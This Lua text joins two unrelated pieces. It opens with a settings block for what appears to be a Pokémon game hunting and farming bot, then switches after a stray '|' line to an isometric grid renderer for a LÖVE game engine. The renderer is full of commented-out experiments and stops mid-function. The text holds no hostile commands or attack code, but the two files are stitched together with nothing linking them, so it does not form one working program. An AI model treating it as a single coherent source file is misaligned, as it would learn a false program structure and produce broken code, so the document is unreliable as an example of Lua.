-- If you're using multiple rectangles, this is the amount of time in minutes that we'll hunt in one of them before picking the next one at random
minutesToMove = 30
-- Name of the rod you're going to use if you're fishing
rod = "Super Rod"
-- The type of Pokeball to use - "Pokeball", "Great Ball", or "Ultra Ball"
ballType = "Pokeball"
-- Minimum number of balls to keep - if we have less than this number, we go buy some --- use 0 to forget about this
ballMin = 100
-- Number of balls to buy when we go to the the mart
buyAmount = 50
-- Minimum amount of money to start farming at - useful if you're using the Safari Zone a lot - set to 0 to never farm for money
minMoney = 100000
-- If minMoney = 0, ignore everything below this point
-- Minimum amount of money to stop farming at
moneyStop = 150000
-- Index of Pokémon to farm with when our money gets too low - set to 0 to just fight with anything
farmerId = 2
-- If we have less money than minMoney, we will only attack Pokémon that give this EV - "HP", "ATK", "DEF", "SPATK", "SPDEF", or "SPD" --- use "", nil, or false to attack everything
farmingEV = ""
-- Location to farm in when our money gets too low - Not an optional setting - if you won't ever farm, just leave this value alone
farmMap = "Mt. Silver Exterior"
-- Hunting area for farming - "Grass", "Water", {x, y}, or {x1, y1, x2, y2}, multiple rectangles are fine - Not an optional setting - if you won't ever farm, just leave this value alone
farmArea = "Grass"
-------------------------------------------------------
|
heart.hotLoad("game/entity.lua",true)
heart.hotLoad("game/tile.lua",true) -- clear tile table, Remove for release.
grid = grid or {}
grid.block = {}
grid.size = 23 -- Calculate this maybe???
assert(grid.size/2 ~= math.floor(grid.size/2), "grid.size must be a odd number" )
--grid.blockSizeWidth = 300 -- 300 is default Height is half the width
--grid.blockSize = grid.blockSizeWidth/(math.sqrt(2)*2) -- Backsolve from width
grid.blockSize = grid.blockSize or 8
grid.blockSizeWidth = grid.blockSizeWidth or grid.blockSize*(math.sqrt(2)*2) -- 100 default
grid.blockTranslateX, grid.blockTranslateY = 0,-12 --* grid.blockSizeWidth * 0.5
--print(grid.blockSizeWidth)
grid.outline = {}
grid.outline.width = 12
grid.outline.height = 12
grid.bufferDraw = {}
grid.mouse = {x=0,y=0}
grid.tilePressedX = 0
grid.tilePressedY = 0
--grid.blockSizeWidth = 1360
--grid.blockSize = 480.8326112
--Tile width = 1360
--Tile height = 680
--Tile degrees = 63.434948822922°
--Tile degrees in 3D from topdown to isometric 60°
--Wall tiles is 2.5 tiles high
--[[render a tile to canvas and print out
ooijgrierg = love.graphics.newCanvas(620,300)
heart.push("all")
love.graphics.setNewFont(24)
--love.graphics.setBlendMode("premultiplied")
love.graphics.setCanvas(ooijgrierg)
love.graphics.setColor(255,255,255)
love.graphics.rectangle("fill",0,0,600,300)
love.graphics.setColor(0,0,0)
love.graphics.line(
100,150,
300,50,
500,150,
300,250,
100,150)
ooijgrierg:getImageData():encode("isometrictileblank.png")
love.graphics.rectangle("line",100,50,400,200)
love.graphics.printf("Width 400",0,20,600,"center")
love.graphics.printf("Height\n200",520,120,620,"left")
love.graphics.printf("Angle\n63.435°",0,120,260,"right")
ooijgrierg:getImageData():encode("isometrictile.png")
heart.pop()
love.graphics.setCanvas()
--]]
function grid.mousepressed(button)
grid.tilePressedX = math.round(grid.mouse.x)
grid.tilePressedY = math.round(grid.mouse.y)
end
local function compareKey(a,b,key)
return a[key] < b[key]
end
local function compareBufferZlevel(a,b)
return compareKey(a,b,"bufferZlevel")
end
local function coverPoly(inTable)
local x,y,w,h = inTable.x , inTable.y , inTable.w , inTable.h
local t1, t2 = translateToScreen(x+w+0.5,y+h+0.5)
local t3, t4 = translateToScreen(x-0.5,y+h+0.5)
local t5, t6 = translateToScreen(x-0.5,y+h+0.5,4)
local t7, t8 = translateToScreen(x-0.5,y-0.5,4)
local t9, t10 = translateToScreen(x+w+0.5,y-0.5,4)
local t11, t12 = translateToScreen(x+w+0.5,y-0.5)
love.graphics.polygon("fill",t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,t11,t12)
local centerx, centery = translateToScreen(x+w+0.5,y+h+0.5,4)
love.graphics.setColor(0,0,0)
love.graphics.line(centerx, centery , translateToScreen(x+w+0.5,y-0.5,4))
love.graphics.line(centerx, centery , translateToScreen(x-0.5,y+h+0.5,4))
love.graphics.line(centerx, centery , translateToScreen(x+w+0.5,y+h+0.5,0))
love.graphics.polygon("line",t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,t11,t12)
end
function grid.mouseupdate()
grid.mouse.x , grid.mouse.y = translateToIso(mouse.x,mouse.y)
end
function grid.update()
if false then
for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do
grid.block[x] = {}
for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do
grid.block[x][y] = 0
end
end
end
--love.graphics.print( math.round(grid.mouse.x).."\n"..math.round(grid.mouse.y) )
--love.graphics.printf("mouse cordinates\n"..grid.mouse.x.."\n"..grid.mouse.y,0,0,1920,"right")
-- Grid transformation
heart.push()
--love.graphics.translate(viewport.width/2,viewport.height/2)
--love.graphics.scale(2,1)
--love.graphics.rotate(math.pi/4)
--Test outline
--love.graphics.setColor(0,0,0)
--love.graphics.circle("line",0,0,(grid.blockSize*grid.size*0.5)*math.sqrt(2))
heart.pop()
--[[
for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do
for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do
--if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then
local point1 , point2 = translateToScreen(x+0.5,y+0.5)
local point3 , point4 = translateToScreen(x+0.5,y-0.5)
local point5 , point6 = translateToScreen(x-0.5,y-0.5)
local point7 , point8 = translateToScreen(x-0.5,y+0.5)
--love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8)
--end
end
end
--]]
--Outline Square
if false then
love.graphics.setColor(0,0,0)
love.graphics.rectangle("line",
(1920-grid.outline.width*grid.blockSizeWidth)/2,
(1080-grid.outline.height*grid.blockSizeWidth*0.5)/2,
grid.outline.width*grid.blockSizeWidth,
grid.outline.height*grid.blockSizeWidth*0.5)
end
--[[Simplest X then Y drawing
local color = 0
for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do
for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do
--if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then
love.graphics.setColor(heart.hsv(240/529*color,1,1))
local point1 , point2 = translateToScreen(x+0.5,y+0.5)
local point3 , point4 = translateToScreen(x+0.5,y-0.5)
local point5 , point6 = translateToScreen(x-0.5,y-0.5)
local point7 , point8 = translateToScreen(x-0.5,y+0.5)
love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8)
--end
color = color+1
end
end
printo(color)
--]]
--[[ From y on screen top to bottom grid 23x23
local color = 0
local yOnGrid = 1
local gridDirection = 1
while yOnGrid > 0 do
if yOnGrid == 23 then
gridDirection = -1
--break
end
for i = 1, yOnGrid do
color = color +1
love.graphics.setColor(heart.hsv(240/529*color,1,1))
local x,y
local xOnGrid = (i-yOnGrid/2)-0.5
if gridDirection == 1 then
y = yOnGrid/2-11.5
x = yOnGrid/2-11.5
else
y = -yOnGrid/2+11.5
x = -yOnGrid/2+11.5
end
local point1 , point2 = translateToScreen(y+xOnGrid+0.5,x-xOnGrid+0.5)
local point3 , point4 = translateToScreen(y+xOnGrid-0.5,x-xOnGrid+0.5)
local point5 , point6 = translateToScreen(y+xOnGrid-0.5,x-xOnGrid-0.5)
local point7 , point8 = translateToScreen(y+xOnGrid+0.5,x-xOnGrid-0.5)
love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8)
end
yOnGrid=yOnGrid+gridDirection
end
printo(color)
--]]
--[[ Render x and y alternating
if true then
local color = 0
local ink = grid.size
local direction = true
while ink > 0 do
if direction then
local y = (grid.size+1)/2-ink
for x = y,math.floor(grid.size/2) do
color = drawAndInk(x,y,color)
end
else
local x = math.floor(grid.size/2)-ink
for y = (grid.size+1)/2-ink,math.floor(grid.size/2) do
color = drawAndInk(x,y,color)
end
end
if direction then
ink = ink-1
direction = false
else
direction = true
end
end
end
--printo(color)
--]]
-- Select tile code
---[[
if true then
love.graphics.setColor(255,255,255)
drawTileWraped(grid.tilesq, math.round(grid.mouse.x),math.round(grid.mouse.y),0)
if math.abs(grid.mouse.y-math.floor(grid.mouse.y)-0.5) > math.abs(grid.mouse.x-math.floor(grid.mouse.x)-0.5) then
drawWallWraped(grid.wallsq, math.floor(grid.mouse.x)+0.5,math.round(grid.mouse.y),0,-1)
else
drawWallWraped(grid.wallsq, math.round(grid.mouse.x),math.floor(grid.mouse.y)+0.5,0,1)
end
end
--drawTileWraped(grid.tilesq, 3,0,0,math.pi*2,1)
--[[
drawWallWraped(grid.wallsq, 3,-0.5,0,1,0,1)
--drawTileWraped(grid.tilesq, 1,1)
--drawTileWraped(grid.tilesq, 2,1)
--drawTileWraped(grid.tilesq, 3,1)
--drawTileWraped(grid.tilesq, 1,2)
--drawTileWraped(grid.tilesq, 2,2)
--drawTileWraped(grid.tilesq, 3,2)
--drawTileWraped(grid.tilesq, 1,3)
--drawTileWraped(grid.tilesq, 2,3)
--drawTileWraped(grid.tilesq, 3,3)
drawWallWraped(grid.wallsq, 3.5,0,0,-1)
drawWallWraped(grid.wallsq, 3.5,1,0,-1)
drawWallWraped(grid.wallsq, 3.5,2,0,-1)
drawWallWraped(grid.wallsq, 3.5,3,0,-1)
drawWallWraped(grid.wallsq, 0, 3.5,0,1)
drawWallWraped(grid.wallsq, 1, 3.5,0,1)
drawWallWraped(grid.wallsq, 3, 3.5,0,1)
--drawTileWraped(grid.tilesq, 2)
drawWallWraped(grid.wallsq, 2,-0.5)
--drawTileWraped(grid.tilesq, 1)
drawWallWraped(grid.wallsq, 1,-0.5)
--drawTileWraped(grid.tilesq, 0)
drawWallWraped(grid.wallsq,0,-0.5)
drawWallWraped(grid.wallsq,-0.5,0,0,-1)
drawWallWraped(grid.wallsq, -0.5,1,0,-1)
--drawTileWraped(grid.tilesq, 0,1)
drawWallWraped(grid.wallsq, -0.5,2,0,-1)
--drawTileWraped(grid.tilesq, 0,2)
drawWallWraped(grid.wallsq, -0.5,3,0,-1)
--drawTileWraped(grid.tilesq, 0,3)
--drawWallWraped(grid.wallsq, 1+2, 3.6,0,1)
--drawWallWraped(grid.wallsq, 3.6, 1+2,0,-1)
--drawTileWraped(grid.tilesq,4,2,0)
--drawTileWraped(grid.tilesq,3,2,0)
--drawWallWraped(grid.wallsq, 2.5, 3.5,0,-1,0,1)
--drawTileWraped(grid.tilesq,2,4,0)
--drawTileWraped(grid.tilesq,3,3,0)
--drawTileDirect(tile.image, 2,0,0,0,1)
--drawWallDirect(wall.image, 2,-0.5,0,0,1,1)
--]]
-- HACK
for i = 1, #tilecolworighreiogj do
heart.sethsv((i-1)*(300/#tilecolworighreiogj),1,1,1)
drawFlatTile(tilecolworighreiogj[i].x, tilecolworighreiogj[i].y)
end
-- Render from tile code
if true then
local color = 0
for x = 1 , tile.width * 0.2 do
for y = 1 , tile.height * 0.2 do
color = drawAndInk(x,y,color)
if tile[x][y].entityWallRight ~= 0 then
drawWallWraped(grid.wallsq,x+0.5,y,0,-1)
end
if tile[x][y].entityWallLeft ~= 0 then
drawWallWraped(grid.wallsq,x,y+0.5,0,1)
end
end
end
end
-- Render stuff
---[[
if true then
table.sort(grid.bufferDraw,compareBufferZlevel)
local i = 1
while i <= #grid.bufferDraw do
--while i <= 1+math.wrap(math.floor(_Time*2),#grid.bufferDraw) do -- Show render order.
love.graphics.setColor(255,255,255,180)
local buffer = grid.bufferDraw[i]
local screenX , screenY = translateToScreen(buffer.x,buffer.y,buffer.z)
if buffer.tileType == "wrappedWall" then
love.graphics.draw(buffer.image,
screenX,
screenY,
0,
buffer.s*buffer.m,
buffer.s,
buffer.image:getWidth()*0.5,
buffer.image:getHeight(),
0,
0.5)
elseif buffer.tileType == "wrappedTile" then
heart.push()
love.graphics.translate(screenX,screenY)
love.graphics.scale(2,1)
love.graphics.draw(buffer.image,
0,
0,
buffer.r+math.pi/4,
buffer.s,
buffer.s,
buffer.image:getWidth()*0.5,
buffer.image:getHeight()*0.5)
heart.pop()
end
i = i+1
end
end
grid.bufferDraw = {}
--]]
--[[
local wallThickness = 0.2
local pos = {}
pos[1] = {-3,2}
pos[2] = {-2,0}
pos[3] = {1,-2}
pos[4] = {3,-4}
local posNorm = {}
posNorm[1] = {4,4.5}
posNorm[2] = {5.5,3}
local wallHeight = 3.75
--]]
--[[
-- Proper corner outside
love.graphics.setColor(108,52,0)
drawFlatWall(pos[1][1]+wallThickness/4 , pos[1][2]+0.5+wallThickness/2 , 1+wallThickness/2,-1,wallHeight) -- left
love.graphics.setColor(198,142,90)
drawFlatWall(pos[1][1]+0.5+wallThickness/2 , pos[1][2]+wallThickness/4 , 1+wallThickness/2,1,wallHeight) -- right
love.graphics.setColor(158,102,50)
drawFlatTile(pos[1][1] , pos[1][2]+0.5 , 1 , wallThickness,wallHeight,"dl") -- left
drawFlatTile(pos[1][1]+0.5 , pos[1][2] , wallThickness,1,wallHeight,"dr") -- right
-- Proper corner inside
love.graphics.setColor(108,52,0)
drawFlatWall(pos[2][1]+wallThickness/4 , pos[2][2]-0.5+wallThickness/2,1-wallThickness/2,-1,wallHeight) -- right
drawFlatWall(pos[2][1]-0.5 , pos[2][2]+0.5,wallThickness,-1,wallHeight) -- left
love.graphics.setColor(198,142,90)
drawFlatWall(pos[2][1]-0.5+wallThickness/2 , pos[2][2]+wallThickness/4,1-wallThickness/2,1,wallHeight) -- left
drawFlatWall(pos[2][1]+0.5 , pos[2][2]-0.5,wallThickness,1,wallHeight) -- right
love.graphics.setColor(158,102,50)
drawFlatTile(pos[2][1] , pos[2][2]-0.5,1,wallThickness,wallHeight,"ul") -- right
drawFlatTile(pos[2][1]-0.5 , pos[2][2],wallThickness,1,wallHeight,"ur") -- left
-- Proper corner right
love.graphics.setColor(108,52,0)
drawFlatWall(pos[3][1]-wallThickness/4 , pos[3][2]-0.5+wallThickness/2,1-wallThickness/2,-1,wallHeight) -- Higher
drawFlatWall(pos[3][1]+0.5 , pos[3][2]+0.5,wallThickness,-1,wallHeight) -- Lower
love.graphics.setColor(198,142,90)
drawFlatWall(pos[3][1]+0.5+wallThickness/2 , pos[3][2]-wallThickness/4,1+wallThickness/2,1,wallHeight) -- Lower
love.graphics.setColor(158,102,50)
drawFlatTile(pos[3][1] , pos[3][2]-0.5,1,wallThickness,wallHeight,"ru") -- Higher
drawFlatTile(pos[3][1]+0.5 , pos[3][2],wallThickness,1,wallHeight,"rd") -- Lower
-- Proper corner left
love.graphics.setColor(198,142,90)
drawFlatWall(pos[4][1]-0.5+wallThickness/2 , pos[4][2]-wallThickness/4,1-wallThickness/2,1,wallHeight) -- Higher
drawFlatWall(pos[4][1]+0.5 , pos[4][2]+0.5,wallThickness,1,wallHeight) -- Lower
love.graphics.setColor(108,52,0)
drawFlatWall(pos[4][1]-wallThickness/4 , pos[4][2]+0.5+wallThickness/2,1+wallThickness/2,-1,wallHeight) -- Lower
love.graphics.setColor(158,102,50)
drawFlatTile(pos[4][1] , pos[4][2]+0.5,1,wallThickness,wallHeight,"ld") -- Lower
drawFlatTile(pos[4][1]-0.5 , pos[4][2],wallThickness,1,wallHeight,"lu") -- Higher
--Normal left wall
love.graphics.setColor(108,52,0)
drawFlatWall(posNorm[1][1],posNorm[1][2]+wallThickness/2,1,-1,wallHeight) -- left
love.graphics.setColor(198,142,90)
drawFlatWall(posNorm[1][1]+0.5,posNorm[1][2],wallThickness,1,wallHeight) -- left
love.graphics.setColor(158,102,50)
drawFlatTile(posNorm[1][1],posNorm[1][2],1,wallThickness,wallHeight) -- left
--Normal right wall
love.graphics.setColor(108,52,0)
drawFlatWall(posNorm[2][1],posNorm[2][2]+0.5,wallThickness,-1,wallHeight) -- right
love.graphics.setColor(198,142,90)
drawFlatWall(posNorm[2][1]+wallThickness/2,posNorm[2][2],1,1,wallHeight) -- right
love.graphics.setColor(158,102,50)
drawFlatTile(posNorm[2][1],posNorm[2][2],wallThickness,1,wallHeight) -- right
--]]
--[[ --Polygon creation from line
if false then
local line =
{
0,0.5,"l",
0.5,1,"r",
0.5,2,"r",
0.5,3,"r",
}
love.graphics.setColor(0,0,0)
for i = 1, #line, 3 do
local x,y = translateToScreen(line[i],line[i+1])
love.graphics.circle("fill",x,y,20)
local x1a,y1a,x2a,y2a , x1b,y1b,x2b,y2b
if line[i+2] == "r" then
x1a,y1a = translateToScreen(line[i]-0.1,line[i+1]-0.5)
x2a,y2a = translateToScreen(line[i]-0.1,line[i+1]+0.5)
x1b,y1b = translateToScreen(line[i]+0.1,line[i+1]-0.5)
x2b,y2b = translateToScreen(line[i]+0.1,line[i+1]+0.5)
elseif line[i+2] == "l" then
x1a,y1a = translateToScreen(line[i]-0.5,line[i+1]-0.1)
x2a,y2a = translateToScreen(line[i]+0.5,line[i+1]-0.1)
x1b,y1b = translateToScreen(line[i]-0.5,line[i+1]+0.1)
x2b,y2b = translateToScreen(line[i]+0.5,line[i+1]+0.1)
end
love.graphics.line(x1a,y1a,x2a,y2a)
love.graphics.line(x1b,y1b,x2b,y2b)
end
local posx,posy = viewport.width/2,viewport.height/2
heart.push("all")
love.graphics.setLineWidth(grid.blockSize*0.2)
love.graphics.setLineJoin("miter")
love.graphics.translate(posx,posy)
love.graphics.scale(2,1)
love.graphics.rotate(math.pi/4)
love.graphics.line(grid.blockSize*0.5,0,grid.blockSize*0.5*3,0,grid.blockSize*0.5*3,grid.blockSize*0.5*2)
heart.pop()
end
--]]
--[[
love.graphics.setColor(230,230,230)
--love.graphics.rectangle("fill",0,0,1920,1080)
love.graphics.setColor(0,0,0)
local pos = {{},{},{},{},{}}
pos[1][1],pos[1][2] = translateToScreen(0+0.25,0-0.25,10)
pos[1][3],pos[1][4] = translateToScreen(0+0.25,0-0.25,-10)
pos[2][1],pos[2][2] = translateToScreen(0+0.75,0-0.75,10)
pos[2][3],pos[2][4] = translateToScreen(0+0.75,0-0.75,-10)
pos[3][1],pos[3][2] = translateToScreen(0-0.25,0+0.25,10)
pos[3][3],pos[3][4] = translateToScreen(0-0.25,0+0.25,-10)
pos[4][1],pos[4][2] = translateToScreen(0-0.75,0+0.75,10)
pos[4][3],pos[4][4] = translateToScreen(0-0.75,0+0.75,-10)
pos[5][1],pos[5][2] = translateToScreen(0+1.25,0-1.25,10)
pos[5][3],pos[5][4] = translateToScreen(0+1.25,0-1.25,-10)
love.graphics.line(pos[1])
love.graphics.line(pos[2])
love.graphics.line(pos[3])
love.graphics.line(pos[4])
love.graphics.line(pos[5])
love.graphics.setColor(180,0,0)
local pos = {{},{},{},{},{},{}}
pos[1][1],pos[1][2] = translateToScreen(0,-1)
pos[2][1],pos[2][2] = translateToScreen(1,-1)
pos[3][1],pos[3][2] = translateToScreen(0,0)
pos[4][1],pos[4][2] = translateToScreen(1,0)
pos[5][1],pos[5][2] = translateToScreen(0,1)
pos[6][1],pos[6][2] = translateToScreen(1,1)
love.graphics.circle("fill",pos[1][1],pos[1][2],30)
love.graphics.circle("fill",pos[2][1],pos[2][2],30)
love.graphics.circle("fill",pos[3][1],pos[3][2],30)
love.graphics.circle("fill",pos[4][1],pos[4][2],30)
love.graphics.circle("fill",pos[5][1],pos[5][2],30)
love.graphics.circle("fill",pos[6][1],pos[6][2],30)
love.graphics.setColor(0,100,0)
local pos = {{},{},{},{}}
pos[1][1],pos[1][2] = translateToScreen(0.5,-0.5)
pos[2][1],pos[2][2] = translateToScreen(1,-1)
pos[3][1],pos[3][2] = translateToScreen(0.5,0.5)
pos[4][1],pos[4][2] = translateToScreen(0,1)
love.graphics.circle("fill",pos[1][1],pos[1][2],20)
love.graphics.circle("fill",pos[2][1],pos[2][2],20)
love.graphics.circle("fill",pos[3][1],pos[3][2],20)
love.graphics.circle("fill",pos[4][1],pos[4][2],20)
--]]
--love.graphics.setColor(100,100,100)
--isocircle(math.round(grid.mouse.x),math.round(grid.mouse.y))
--[[
if mouse.left then
local thingTable = {}
local dirX,dirY = 1,1
if grid.mouse.x < grid.tilePressedX then
dirX = -1
end
if grid.mouse.y < grid.tilePressedY then
dirY = -1
end
for x = grid.tilePressedX, math.round(grid.mouse.x), dirX do
for y = grid.tilePressedY, math.round(grid.mouse.y), dirY do
table.insert(thingTable,x)
table.insert(thingTable,y)
--isocircle(x,y)
end
end
insertThing(thingTable)
end
--]]
-- Sorting sprites. Note that I sort the sprites in the wrong direction then I go in the reverse of that table and render the sprites. (It shouldn't go in the wrong dirction)
if true then
local sortedTable = {}
-- Test code mark inserts the sprites
if mouse.beenReleased.left then
local x,y = grid.tilePressedX,grid.tilePressedY
local w,h = math.round(grid.mouse.x)-grid.tilePressedX , math.round(grid.mouse.y)-grid.tilePressedY
--grid.mark(x,y,w,h)
end
-- Create dependecies.
for i = 1, entity.count do -- Loop over the objects
if entity[i] ~= nil then
for x = entity[i].x, entity[i].x+entity[i].w do -- x axis
for y = entity[i].y, entity[i].y+entity[i].h do -- y axis
local t = tile[x][y].objectMark
if t then
if type(entity[i].dep) == "table" then
-- Compare the elements returned by checkmarked with the elements in the table.
-- Check if it's faster to reverse the j or g loop
for j = 1, #t do
for g = 1, #entity[i].dep do
if entity[i].dep[g] == t[j] then
goto foundInTable -- faster?? No variables initalized
end
end
table.insert((entity[i].dep),t[j])
::foundInTable::
end
else
entity[i].dep = t
end
end
love.graphics.setColor(0,255,0)
--isocircle(x,y)
end
end
else
print("entity["..i.."] == nil")
end
end
-- entity[i].dep is either a table or nil depending on if it overlap something.
-- Indexes in entity[i].dep table is where in entity[index] the dependencies lie.
-- draw a polygon on the covered area, Don't draw outside of this.
-- Should be replaced with spritebatch:add or something
if true then
for i = 1, #entity do
grid.recursiveInsert(i,sortedTable)
end
for i = #sortedTable , 1 , -1 do
local val = (sortedTable[i]/(#sortedTable))
-- Draw sprite
heart.sethsv((#sortedTable-i)*(300/#sortedTable), 1-val+0.2, val+0.2)
coverPoly(entity[sortedTable[i]],#sortedTable-i)
entity[sortedTable[i]].recorded = nil
end
end
end
grid.blockSize = ui.slider(grid.blockSize , 1300,910,600,150,2,500 )
grid.blockSizeWidth = grid.blockSize*(math.sqrt(2)*2)
end
function grid.recursiveInsert(i,sortedTable)
--printo(i,#entity)
if entity[i] ~= nil and not entity[i].recorded then -- Am I sure this is a good solution to just skip if its nil?
if entity[i].dep then
for j = 1, #entity[i].dep do
grid.recursiveInsert(entity[i].dep[j],sortedTable)
--printv(i,"::",j)
end
end
table.insert(sortedTable,i)
--printv("Q"..i)
entity[i].recorded = true
end
end
function grid.mark(thing,x,y,w,h) -- 0 based: w,h
assert(thing == "wallleft" or thing == "wallright" or thing == "object", "Invalid object being passed into grid.mark")
w,h = w or 0, h or 0
assert(type(x) == "number", "x is not a number")
assert(type(y) == "number", "y is not a number")
assert(x > 1 and x <= tile.width-1, "x is not in range")
assert(y > 1 and y <= tile.height-1, "y is not in range")
assert(thing == "wallleft" and w==0 and h==0 or thing == "wallright" and w==0 and h==0 or thing == "object", "width or height parameter must be 0,0 for walls grid.mark")
if w < 0 then
x = x+w
w = -w
end
if h < 0 then
y = y+h
h = -h
end
-- These asserts shouldn't stop the game when it's running. So they need to rewired to give warning instead.
if thing == "object" then
for i = x, x+w do
for j = y, y+h do
--print(i,j)
assert(tile[i][j].entityIndex == 0,"Object already inserted here")
if i < x+w then
--print(i,j)
assert(tile[i][j].entityWallLeft == 0,"Wall Left is blocking object")
end
if j < y+h then
--print(i,j)
assert(tile[i][j].entityWallRight == 0,"Wall Right is blocking object")
end
end
end
elseif thing == "wallleft" then
assert(tile[x][y].entityWallLeft == 0 , "Wall already inserted here")
if tile[x][y].entityIndex ~= 0 and tile[x][y+1].entityIndex == tile[x][y].entityIndex then
assert( false ,"Object is blocking wall")
end
elseif thing == "wallright" then
assert(tile[x][y].entityWallRight == 0 , "Wall already inserted here")
if tile[x][y].entityIndex ~= 0 and tile[x+1][y].entityIndex == tile[x][y].entityIndex then
assert( false ,"Object is blocking wall")
end
end
local where = heart.lengthSparse(entity)+1 -- Gets the first available "hole" in entity array.
if where ~= #entity+1 then -- Check if the data messes up in this case. #entity+1 does not do what I want on a sparse array.
print("---Check Array----",where,#entity+1)
end
entity.count = math.max(entity.count,where)
entity[where] = {x=x,y=y,w=w,h=h} -- Should maybe insert more info here?
for i = x, x+w do
for j = y, y+h do
tile[i][j].entityIndex = where
end
end
for i = 1, h+1 do
for j = 1, 4 do
table.insert(tile[x-j][y+i-j].objectMark , where)
end
end
for i = 1, w+1 do
for j = 1, 4 do
table.insert(tile[x+i-j][y-j].objectMark , where)
end
end
for j = 1, 4 do
table.insert(tile[x-j][y-j].objectMark , where)
end
end
for x = 1, 5 do
for y = 1, 5 do
grid.mark("object",x*4+10,y*4+10,2,2)
end
end
grid.mark("object",6,6,2,0)
--grid.mark("object",5,8,0,0)
--for i = 1, #entity do
-- print(entity[i].y)
--end
--[[
function insert2d(tableTo,x,y,thing)
assert(type(tableTo) == "table","Trying to index on non table")
if not tableTo[x] then
tableTo[x] = {}
end
if not tableTo[x][y] then
tableTo[x][y] = {}
end
table.insert(tableTo[x][y],thing)
end
--]]
--[[
function grid.insertWall(x,y,dir)
assert(type(x) == "number", "x is not a number")
assert(type(y) == "number", "y is not a number")
assert(x > 1 and x <= tile.width-1, "x is not in range")
assert(y > 1 and y <= tile.height-1, "y is not in range")
assert(dir == 1 or dir == -1, "dir must be 1 or -1")
if dir == 1 then
--drawWallWraped(grid.wallsq,x,y+0.5,0,1)
grid.mark("wallleft",x,y,0,0)
elseif dir == -1 then
--drawWallWraped(grid.wallsq,x+0.5,y,0,-1)
grid.mark("wallright",x,y,0,0)
end
end
--]]
--[[
refrigerator = love.graphics.newImage("Couchbw2.png")
testImage = love.image.newImageData("Couchbw2.png")
local count = 4 -- handle odd numbers
local var = (1/0.001)/(count/2)
part1 = love.image.newImageData(var,testImage:getHeight())
part2 = love.image.newImageData(var,testImage:getHeight())
part3 = love.image.newImageData(var,testImage:getHeight())
part4 = love.image.newImageData(var,testImage:getHeight())
part1:paste(testImage,0,0,testImage:getWidth()/2-var-var,0)
part2:paste(testImage,0,0,testImage:getWidth()/2-var,0)
part3:paste(testImage,0,0,testImage:getWidth()/2,0)
part4:paste(testImage,0,0,testImage:getWidth()/2+var,0)
someSofa1 = love.graphics.newImage(part1)
someSofa2 = love.graphics.newImage(part2)
someSofa3 = love.graphics.newImage(part3)
someSofa4 = love.graphics.newImage(part4)
function imageParse(filename)
fileData = love.image.newImageData(filename)
--Scale image to grid
local scale = 0.001 -- grid.blockSizeWidth is very relevant to this.
--Select area for object to rest on.
local zTable = insertThing(
0,-1,
1,-1,
0,0,
1,0,
0,1,
1,1
)
-- #xTable is how many parts to split image into
-- How to set an alignment
end
function insertThing(...)
local inputTable
if type(select(1,...)) == "table" then
inputTable = select(1,...)
else
inputTable = {...}
end
local count = #inputTable
assert(math.floor(count/2) == count/2 and count > 1 , "insertThing must have x and y cordinates")
local tableScreenSplit = {}
local tableScreenSplitIndex = {}
for i = 1, count, 2 do
local x,y = inputTable[i] , inputTable[i+1]
if tableScreenSplit[x-y] then
local wasMin = tableScreenSplit[x-y][2]
local wasMax = tableScreenSplit[x-y][3]
if x+y > wasMax then
tableScreenSplit[x-y][3] = x+y -- Max value
elseif x+y < wasMin then
tableScreenSplit[x-y][2] = x+y -- Min value
end
else
table.insert(tableScreenSplitIndex,x-y)
tableScreenSplit[x-y] = {x-y,x+y,x+y}
end
love.graphics.setColor(0,0,0)
isocircle(x,y,0,0.5)
end
love.graphics.setColor(100,0,0)
-- Now I know i need to split this in 4 images
local resultTable = {}
for i = 1, #tableScreenSplitIndex do
local k = tableScreenSplitIndex[i]
local x = tableScreenSplit[k][1]
local y = (tableScreenSplit[k][2] + tableScreenSplit[k][3])/2
love.graphics.setColor(heart.hsv(90/4*(i-1),1,1))
table.insert(resultTable, (y+x)/2 )
table.insert(resultTable, (y-x)/2 )
isocircle((y+x)/2,(y-x)/2,0,0.3)
love.graphics.setColor(100,0,0)
--isocircleRender(x,y,0,0.25)
end
return resultTable
end
--]]
function renderTranslateToScreen(x,y)
x = x*(grid.blockSizeWidth/2)
y = y*(grid.blockSizeWidth/4)
x,y = x+viewport.width/2,y+viewport.height/2
return x,y
end
function isocircle(x,y,z,s)
s = s or 0.3
s = s * grid.blockSize
local screenX , screenY = translateToScreen(x,y,z)
love.graphics.circle("fill",screenX,screenY,s)
end
--[[
function isocircleRender(x,y,z,s)
s = s or 0.3
s = s * grid.blockSize
local screenX , screenY = renderTranslateToScreen(x,y)
love.graphics.circle("fill",screenX,screenY,s)
end
--]]
function drawWallWraped( image, x,y,z,m,r,s)
assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1")
x,y,z,s,m = x or 0 , y or 0 , z or 0 , s or 1 , m or 1
s = s * (grid.blockSizeWidth/(image:getWidth()*2))
--[[-- rotation code
www = math.pi*0.5
m = -m
local length = math.sqrt(x*x+y*y)
local angle = math.atan2(y,x)
x = math.cos(angle+www)*length
y = math.sin(angle+www)*length
--]]
local bufferZlevel = x+y
local toInsertInTable =
{
bufferZlevel = bufferZlevel,
image = image,
x = x,
y = y,
z = z,
m = m,
r = r,
s = s,
tileType = "wrappedWall"
}
table.insert(grid.bufferDraw , toInsertInTable)
end
function drawTileWraped( image,x,y,z,r,s) -- Figure out rectangle shapes -- Mirror shapes -s ??
x,y,z,r,s = x or 0 , y or 0 , z or 0 , r or 0 , s or 1
s = s * (grid.blockSize/image:getWidth())
local bufferZlevel = x+y
local toInsertInTable =
{
